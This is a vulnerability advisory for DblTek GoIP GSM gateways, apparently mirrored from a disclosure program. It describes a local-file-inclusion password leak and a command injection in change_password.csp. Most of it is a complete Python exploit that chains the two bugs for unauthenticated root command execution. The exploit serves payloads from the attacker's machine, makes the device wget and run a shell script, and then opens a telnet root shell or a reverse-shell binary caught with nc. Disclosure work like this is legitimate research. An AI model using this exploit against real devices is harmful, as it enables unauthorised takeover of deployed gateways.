DblTek GoIP GSM Gateway Multiple Vulnerabilities
Vulnerabilities summary
The following advisory describes 2 (two) vulnerabilities found in DblTek webserver.
DBL is “specialized in VoIP products, especially GoIPs. We design, develop, manufacture, and sell our products directly and via distributors to customers. Our GoIP models now cover 1, 4, 8, 16, and 32-channel in order to meet the wide range of market demands. All our products are priced very attractively and probably the lowest in the market. Because of the price and performance, GoIPs have been widely adopted by system integrators, VoIP service providers, and many other business and individual users.”
The vulnerabilities found are:
Pre-authentication Information Disclosure
Command Execution
It is possible to combine the 2 vulnerabilities and gain unauthenticated remote command execution.
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
DblTek has released patches to address those vulnerabilities.
Vulnerabilities details
User controlled input is not sufficiently sanitized and can trigger Local File Inclusion.
By sending GET request to /dev/mtdblock/5 an attacker can download the configuration file that contain admin password:
GET /default/en_US/frame.html?content=/dev/mtdblock/5
After we got the admin password, we can send a POST request to change_password.csp and trigget the second vulnerability.
User controlled input is not sufficiently sanitized when pass to change_password.csp. An attacker can inject script containing malicious commands in a configuration variable and execute it.
POST /default/en_US/change_password.csp
Content-Type: application/x-www-form-urlencoded
Authorization: Basic ###BASE64("admin", ###LEAKED_PASSWORD###)###
level=user&user_level_enable=on&passwd=<%%25call system.exec: ###MALICIOUS_COMMAND###>
Proof of Concept
Unauthenticated Remote Command Execution:
#!/usr/bin/python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import os, sys, base64, bz2, socket, argparse, threading, requests, re
PAYLOAD0 = '''#!/bin/sh
rm -f /tmp/y
/bin/busybox telnetd -l /bin/sh -p %d &
'''
PAYLOAD1 = '''#!/bin/sh
rm -f /tmp/y /tmp/p
wget -O /tmp/p http://%s:%d/prism
chmod 755 /tmp/p
/tmp/p
'''
class Handler(BaseHTTPRequestHandler):
PRISM_PORT = 1337
TELNET_PORT = 23
def do_GET(self):
if self.path == '/0':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
payload = PAYLOAD0 % Handler.TELNET_PORT
self.wfile.write(payload.encode())
return
if self.path == '/1':
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
payload = PAYLOAD1 % (Handler.HTTP_ADDR, Handler.HTTP_PORT)
self.wfile.write(payload.encode())
return
if self.path == '/prism':
self.send_response(200)
self.send_header('Content-type', 'octet/stream')
self.end_headers()
self.wfile.write(prism(Handler.HTTP_ADDR, Handler.PRISM_PORT))
return
self.send_response(404)
def log_message(self, format, *args):
print(' -- SERVING ' + format % args)
class Server(threading.Thread):
def __init__(self, addr='0.0.0.0', port=8080):
threading.Thread.__init__(self)
Handler.HTTP_ADDR = addr
Handler.HTTP_PORT = port
self.httpd = HTTPServer((addr, port), Handler)
def set(mime, data):
self.RequestHandlerClass.mime = mime
self.RequestHandlerClass.data = data
def run(self):
print(' - Starting server http://%s:%s' % self.httpd.socket.getsockname())
self.httpd.serve_forever()
def stop(self):
print(' - Stopping server')
self.httpd.shutdown()
def prism(host, port):
pyfile = open(os.path.realpath(__file__), 'r')
data, skip = '', True
for line in pyfile:
if skip and line != '""" PRISM ARM V5L\n':
continue
if line == '"""\n':
break
if not skip:
data += line.strip()
skip = False
port = str(port)
bhost = host.encode() + (b'\0' * (16 - len(host)))
bport = port.encode() + (b'\0' * ( 6 - len(port)))
binary = bytearray(bz2.decompress(base64.b64decode(data)))
binary[0x7810:0x7810+16] = bhost
binary[0x7820:0x7820+ 6] = bport
return binary
def getip(host):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((host, 1337))
return s.getsockname()[0]
def get(url):
print(' -- GET %s' % url)
response = requests.get(url)
return response.text
def post(url, password, data):
print(' -- POST %s' % url)
header = { 'Content-Type': 'application/x-www-form-urlencoded' }
auth = requests.auth.HTTPBasicAuth('admin', password)
response = requests.post(url, auth=auth, data=data, headers=header)
return response.text
def attack_leak(target, variable):
print(' - Dumping configuration (variable=%s)' % variable)
config = get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
m = re.search(r'%s="(.*)"' % variable, config)
if not m:
print('Cannot leak variable %s :(' % variable)
sys.exit(1)
return m.group(1)
def attack_exec(target, password, command):
print(' - Executing "%s"' % command)
argv = ', '.join(command.split())
data = 'level=user&user_level_enable=on&passwd=<%%25call system.exec: %s>' % argv
post('http://%s/default/en_US/change_password.csp' % target, password, data)
get('http://%s/default/en_US/frame.html?content=/dev/mtdblock/5' % target)
# Parsing attacker input
parser = argparse.ArgumentParser(description='DBLTek Unauthenticated Pre-Auth RCE as root', epilog="""
Available modes are:
1 - Use telnetd on port %d
2 - Use prism daemon with port %d
""" % (Handler.TELNET_PORT, Handler.PRISM_PORT), formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-a', '--addr', dest='addr', type=str, default=None, help="http server address")
parser.add_argument('-p', '--port', dest='port', type=int, default=8080, help="http server port (default: 8080)")
parser.add_argument('-m', '--mode', dest='mode', type=int, default=0, help="attack mode (default 0)")
parser.add_argument('target')
args = parser.parse_args(sys.argv[1:])
# Get local address based on target address and routes
myaddr = getip(args.target)
myport = args.port
# Start payload delivery server
server = Server(args.addr or myaddr, myport)
server.start()
try:
# Leak ADMIN_PASSWORD
password = attack_leak(args.target, 'ADMIN_PASSWORD')
print(" -- ADMIN_PASSWORD = '%s'" % password)
attack_exec(args.target, password, "/bin/wget -O /tmp/y http://%s:%d/%d" % (myaddr, myport, args.mode))
attack_exec(args.target, password, "/bin/sh /tmp/y")
print(""" - Use these commands to wipe:
-- => setsyscfg USER_PASSWORD=
-- => setsyscfg USER_LEVEL_ENABLE=0""")
if args.mode == 0:
print(" - Telnet to %s port %d" % (args.target, Handler.TELNET_PORT))
os.system("telnet %s %d" % (args.target, Handler.TELNET_PORT))
if args.mode == 1:
print(" - Listen on %s:%d (wait 15 seconds at least)" % (myaddr, Handler.PRISM_PORT))
os.system("nc -l -p %d" % Handler.PRISM_PORT)
except RuntimeError as e:
print(" - Failed :(")
pass
# Stop payload delivery server
server.stop()
server.join()
# 0day.today [2018-03-28] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation